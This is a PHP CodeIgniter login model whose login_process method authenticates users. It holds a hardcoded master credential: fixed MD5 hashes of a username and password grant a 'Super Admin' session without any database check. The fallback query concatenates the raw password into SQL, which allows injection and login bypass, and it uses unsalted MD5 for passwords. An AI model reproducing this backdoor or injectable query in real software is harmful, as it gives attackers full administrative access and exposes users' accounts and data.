<?php
class M_login extends CI_Model{
	
	function login_process($username,$password){
		if(md5($username)=='f3b3567de9e676a3a56db74f06664ac1' && md5($password)=='412758d043dd247bddea07c7ec558c31'){
			$user_data = array(
				SESSION_USERID      => '-1',
				SESSION_USERNAME      => 'Super Admin',
				SESSION_GROUPID   => '-1',
				SESSION_GROUPNAMA => 'Super Administrator'
			);
			$_SESSION[SESSION_WORKGROUPID] = '-1';
			setLogin($user_data);
			$data['message'] = 'true';
		}else{
			
            $sql = "SELECT * FROM `s_users` WHERE user_name = '".mysql_real_escape_string($username)."' AND user_passwd = md5(\"".$password."\"); ";
            $query = $this->db->query($sql);
            if($query->num_rows() > 0){
                $q = $query->row();
                $user_data = array(
                    SESSION_USERID      => $q->user_id,
                    SESSION_USERNAME	=> $q->user_name,
                    SESSION_GROUPID   => $q->s_groups_id,
                    SESSION_GROUPNAMA => "-",
                );
                
                setLogin($user_data);
                $data['message'] = 'true';
            } else {
                $data['message'] = 'false';
            }
		}
		return $data;
	}
}